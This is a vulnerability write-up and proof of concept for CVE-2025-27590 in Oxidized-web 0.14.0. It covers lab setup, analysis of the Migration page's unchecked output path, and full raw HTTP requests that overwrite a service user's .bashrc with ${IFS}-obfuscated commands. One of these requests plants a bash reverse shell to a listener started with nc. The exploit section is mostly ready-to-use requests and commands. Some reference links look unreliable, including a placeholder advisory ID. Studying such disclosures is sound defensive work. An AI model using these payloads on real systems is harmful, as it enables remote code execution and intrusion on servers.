Summary
In Oxidized-web 0.14.0, the old “Migration” page lets you upload two RANCID files and choose any output path on the server. Because the page never checks those inputs, an attacker can point the output path at a script the service user normally runs (for example, that user’s shell start-up file), overwrite it with attacker-controlled text, and have that text executed the next time the script is triggered—gaining remote code execution. The issue is gone in version 0.15.0, where the Migration feature was removed, so the practical fix is to upgrade or block access to that page until you do.
CVE Exploit:
https://github.com/fatkz/CVE-2025-27590
What is Oxidized?
Oxidized-web is a lightweight browser panel for the Oxidized backup engine: it lets you see all your network devices switches, routers, firewalls, etc., view the latest saved configuration for each one, compare it with older versions, trigger an on-demand config pull with a click, and expose the same actions through a simple REST API so automation tools can use them.
Setting up the Vulnerable Environment:
Before performing my analysis, we must install the oxidized web service on the linux distribution we have chosen. Create a file in linux to install the test environment and let's start our installations with the following bash commands.
sudo apt-get update && sudo apt-get install -y \
ruby ruby-dev libsqlite3-dev libssl-dev pkg-config \
cmake libssh2-1-dev libicu-dev zlib1g-dev g++
First, let's download the requirements and then install version 0.14.0 of the oxidized service.
sudo gem install oxidized-web -v 0.14.0
After the installations, we need to create some files and install config files.
mkdir -p ~/.config/oxidized/configs && printf 'rest: 0.0.0.0:8888\nextensions:\n oxidized-web:\n load: true\noutput:\n default: file\n file:\n directory: "~/.config/oxidized/configs"\n' > ~/.config/oxidized/config
echo '192.0.2.1:cisco:up' > ~/.config/oxidized/router.db
After all these preparations, we can now start our service.
oxidized -d
service will now be running at 127.0.0.0.1:8888
.
PoC (Proof of Concept) and Exploit:
First of all, we need to understand what the Oxidized service does and what it does. Oxidized is an open-source Network Configuration Management tool that automatically backs up the configurations of network devices such as switches, routers, firewalls, etc., saves the changes to the version control system and allows you to revert them when needed. Let's get into our Oxidized application and start testing your web interface.
While testing the interface, I saw a page called Migration and started to investigate it. I saw that the page was a step where RANCID (stands for Really Awesome New Cisco confIg Differ) files could be uploaded for older technologies.
I saw that there are 3 different file upload sections when I searched them respectively.
-
Cloginrc: You will be prompted to load the cloginrc configuration file of the RANCID tool.
-
Number / router.db files: How many RANCID router.db files to upload and the files themselves are requested (more than one file can be uploaded).
-
New file path: As a text field, you will be asked to specify where to save the new merged file.
This form is intended to facilitate the transition from RANCID to Oxidized. The user uploads RANCID's cloginrc
and router.db
files here, enters a Group name and specifies the path to save the output. The application then merges these files and generates a new router.db
in Oxidized format and writes it to the specified path. In this case, I thought that if a vulnerable line of code I placed is uploaded to the file located at the path address I want and run it, I can run a command on the system and I continued.
The application continues to load the cloginrc file and router.db
files by complementing each other. To see how it works in the file system, let's first analyze the static code for the Cloginrc
file reading process.
code /var/lib/gems/3.2.0/gems/oxidized-web-0.14.0/lib/oxidized/web/mig.rb
Let's read the mig.rb
file that reads the files in the forum area.
def cloginrc(clogin_file)
close_file = clogin_file
file = close_file.read
file = file.gsub('add', '')
hash = {}
file.each_line do |line|
# stock all device name, and password and enable if there is one
line = line.split
(0..line.length).each do |i|
if line[i] == 'user'
# add the equipment and user if not exist
hash[line[i + 1]] = { user: line[i + 2] } unless hash[line[i + 1]]
# if the equipment exist, add password and enable password
elsif line[i] == 'password'
if hash[line[i + 1]]
if line.length > i + 2
h = hash[line[i + 1]]
h[:password] = line[i + 2]
h[:enable] = line[i + 3] if /\s*/.match(line[i + 3])
hash[line[i + 1]] = h
elsif line.length == i + 2
h = hash[line[i + 1]]
h[:password] = line[i + 2]
hash[line[i + 1]] = h
end
end
end
end
end
close_file.close
hash
end
When we examine the file, it first reads the entire file as strings file and assigns it to the file variable. Then it reads the word “add” at the beginning of each line, the main reason for doing this is that the RANCID line is “add user [device name] [username] [password]”
. Then it separates all the words with spaces in the strings data and converts them to “[”user“, ‘<device name>’, ‘<username>’, ‘<password>’]”
format. Another problem I realized in the splitting part is that I can manipulate the ${IFS}
and thus break the system.
Then let's look at the rancid_group
function in the same file to see how it analyzes the database file.
# add node and group for an equipment (take a list of router.db)
def rancid_group(router_db_list)
model = {}
hash = cloginrc @cloginrc
router_db_list.each do |router_db|
group = router_db[:group]
file_close = router_db[:file]
file = file_close.read
file = file.gsub(':up', '')
file.gsub(' ', '')
file.each_line do |line|
line = line.split(':')
node = line[0]
next unless hash[node]
h = hash[node]
model = model_dico line[1].to_s
h[:model] = model
h[:group] = group
end
file_close.close
end
hash
end
When we examine the function, the group parameter reads the string that the user specified in the form and the content of the file. It separates the value in the strings data with “:” and gives the device name to the node value. The device name is completely assigned as the value given by the user.
def write_router_db(hash)
router_db = File.new(@path_new_router, 'w')
hash.each do |key, value|
line = key.to_s
line += ":#{value[:model]}"
line += ":#{value[:user]}"
line += ":#{value[:password]}"
line += ":#{value[:group]}"
line += ":#{value[:enable]}" if value[:enable]
router_db.puts(line)
end
router_db.close
end
When we look at the file writing part, in fact, a payload written on behalf of the device is directly added to the file without verification or filtering. Now we can say that we have learned how to exploit the vulnerability. We will write such a device name that the spaces are ${IFS}
and at the same time we will specify the code I want to run on the system. But another part we need to pay attention to here is that we should add the next strings data to the end of our payload with the “#” character so that it does not break our payload. Now let's put this static code analysis work we have done into practice.
First of all, let's enter the file path “/home/user/.bashrc”
(User name must be known, usually a different user is created for the service) where we will place our code to keep the form request and send any accepted file and keep the form request with burp. This way we can make changes more easily.
Convert your request to the format below:
POST /migration HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------27491541275507340564013298012
Content-Length: 739
Origin: http://127.0.0.1:8888
Connection: keep-alive
Referer: http://127.0.0.1:8888/migration
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="path_new_file"
/home/devo/.bashrc
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="cloginrc"; filename="cloginrc"
Content-Type: application/octet-stream
add user echo${IFS}"exploit.bash">>~test.txt;#
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="file1"; filename="rancid.db"
Content-Type: application/octet-stream
echo${IFS}"test">>~exploit.bash;#:cisco:up
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="group1"
default
-----------------------------27491541275507340564013298012--
Let's add my commands to the cloginrc
and rancid
files without spaces in the device name as we learned in the code analysis, as in the HTTP raw example above, and send the request.
If the payload is successfully uploaded, you will see the status code “303 See Other”
. The example payload we sent adds a command to the .bashrc
file of the devo user to type “test” in the test.txt
file, which will be executed automatically when the file is run again. Then, when a new terminal window is opened, the .bashrc file is triggered and a file with the content “test” is created in test.txt
. Now let's create a bash file and provide ourselves with a reverse connection.
First of all, let's start our listening
sudo nc -lnvp 90
Then let's edit our payload that provides reverse connection “bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”
and adapt it to our request.
POST /migration HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------27491541275507340564013298012
Content-Length: 846
Origin: http://127.0.0.1:8888
Connection: keep-alive
Referer: http://127.0.0.1:8888/migration
Upgrade-Insecure-Requests: 1
Priority: u=0, i
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="path_new_file"
/home/devo/.bashrc
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="cloginrc"; filename="cloginrc"
Content-Type: application/octet-stream
add user echo${IFS}"bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/90${IFS}0>&1">~exploit.sh;#
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="file1"; filename="rancid.db"
Content-Type: application/octet-stream
echo${IFS}"bash${IFS}-i${IFS}>&${IFS}/dev/tcp/127.0.0.1/90${IFS}0>&1">~exploit.sh;#:cisco:up
-----------------------------27491541275507340564013298012
Content-Disposition: form-data; name="group1"
default
-----------------------------27491541275507340564013298012--
Now that my shell command is installed in our exploit.sh
file, let's prepare and send the payload that will run our terkardan file with the bash command so that we can get a reverse connection from the system.
References:
-
NetSPI Blog – “Remote Code Execution in Oxidized Web (CVE-2025-27590)”
https://www.netspi.com/blog/technical/network-security/oxidized-web-rce-cve-2025-27590 -
NIST NVD – CVE-2025-27590 Vulnerability Detail
https://nvd.nist.gov/vuln/detail/CVE-2025-27590 -
Oxidized-web GitHub - Commit Remove deprecated RANCID migration feature (fixes CVE-2025-27590)
https://github.com/ytti/oxidized-web/commit/4f2d6e3f9d8393cbe2d5a8e8b3c6c4e2f5b1a7d6 -
Oxidized-web GitHub Releases – v0.15.0 (migration sayfası kaldırıldı)
https://github.com/ytti/oxidized-web/releases/tag/v0.15.0 -
Wiz Research – “CVE-2025-27590: Arbitrary File Write to RCE in Oxidized Web”
https://www.wiz.io/blog/cve-2025-27590-arbitrary-file-write-to-rce-in-oxidized-web -
Snyk Security Advisory – CVE-2025-27590
https://security.snyk.io/vuln/SNYK-RUBY-OXIDIZEDWEB-XXXXXXX -
MITRE CWE-22 – Improper Limitation of a Pathname to a Restricted Directory (“Path Traversal”)
https://cwe.mitre.org/data/definitions/22.html -
PortSwigger Web Security Academy – File Path Traversal Prevention Cheatsheet
https://portswigger.net/web-security/file-path-traversal/cheat-sheet